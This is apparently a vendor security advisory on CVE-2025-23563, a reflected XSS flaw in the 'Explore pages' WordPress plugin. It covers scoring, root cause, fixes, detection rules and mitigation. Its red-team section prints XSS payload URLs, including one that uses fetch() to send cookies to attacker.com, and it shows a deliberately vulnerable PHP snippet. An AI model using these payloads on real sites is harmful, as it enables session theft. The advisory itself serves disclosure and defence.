CVE-2025-23563

Executive Summary

CVE-2025-23563 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Explore pages" by mbyte, affecting versions up to and including 1.01. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify they are not running version 1.01 or earlier. Since no patch exists, the only mitigation is to disable or remove the plugin until an update is provided. Supply chain risk is elevated due to the lack of a fix and the plugin's potential inclusion in managed WordPress environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a malicious link.
• Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited content modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High. Despite low EPSS, the ease of exploitation and lack of patch make this a priority for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability resides in the "Explore pages" WordPress plugin, which provides functionality for displaying and navigating pages. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. Specifically, a parameter (likely page or similar) is echoed back without proper encoding, allowing an attacker to inject HTML and JavaScript.

Attack Flow:

1. Attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
2. Victim (authenticated or unauthenticated) clicks the link.
3. The WordPress server processes the request and reflects the payload in the response without sanitization.
4. The victim's browser executes the injected script, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying esc_html(), esc_attr(), or wp_kses() for output encoding.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (explore-pages.php):

<?php
$page = $_GET['page'];
echo "<div class='explore-page'>$page</div>";
?>

Patched Code (Hypothetical):

<?php
$page = isset($_GET['page']) ? esc_html($_GET['page']) : '';
echo "<div class='explore-page'>" . esc_html($page) . "</div>";
?>

The fix uses esc_html() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with "Explore pages" plugin version <= 1.01.
• Attacker-controlled server or tool to deliver malicious link.

Exploit Payload:

http://target.com/?page=<script>alert('XSS')</script>

Step-by-Step:

1. Identify vulnerable parameter (e.g., page) via fuzzing or source code review.
2. Craft URL with JavaScript payload: http://target.com/?page=<img src=x onerror=alert(document.cookie)>
3. Deliver link to victim via email, social engineering, or other means.
4. Victim clicks link, script executes in their browser context.

Advanced Payload (Session Hijacking):

http://target.com/?page=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script, onerror, onload, or other XSS indicators in query parameters.
• Use WAF rules to block reflected XSS patterns.

Hunting:

• Search for explore-pages plugin usage in WordPress environments.
• Check for unusual page parameter values in access logs.

Mitigation:

• Disable or remove the plugin immediately.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) with XSS protection.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with page parameter containing <script, onerror, onload, javascript:.
  • Outbound connections to attacker-controlled domains from WordPress server.
• File:
  • Plugin file: /wp-content/plugins/explore-pages/explore-pages.php (version <= 1.01).
• Log:
  • Web server logs showing reflected XSS patterns in query strings.

Detection Engineering

YARA Rule

rule CVE_2025_23563_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Explore pages plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-23563"
    strings:
        $xss1 = /[?&]page=.*<script/i
        $xss2 = /[?&]page=.*onerror/i
        $xss3 = /[?&]page=.*onload/i
        $xss4 = /[?&]page=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Explore Pages Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the Explore pages WordPress plugin (CVE-2025-23563)
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'page=<script'
            - 'page=*onerror'
            - 'page=*onload'
            - 'page=*javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in query strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23563 Reflected XSS in Explore pages plugin"; flow:to_server,established; content:"page="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the "Explore pages" plugin from all WordPress installations.
2. Implement Web Application Firewall (WAF) rules to block reflected XSS patterns.
3. Add Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'; script-src 'self';
4. Monitor logs for exploitation attempts.

Long-Term:

• Wait for vendor patch or consider replacing the plugin with an alternative.
• Conduct security audit of all WordPress plugins.
• Enforce input validation and output encoding in custom development.

Workaround:

• If plugin removal is not possible, modify the vulnerable file to add esc_html() (see patched code example). However, this will be overwritten on plugin updates.

Valters IT
Securing Digital Frontiers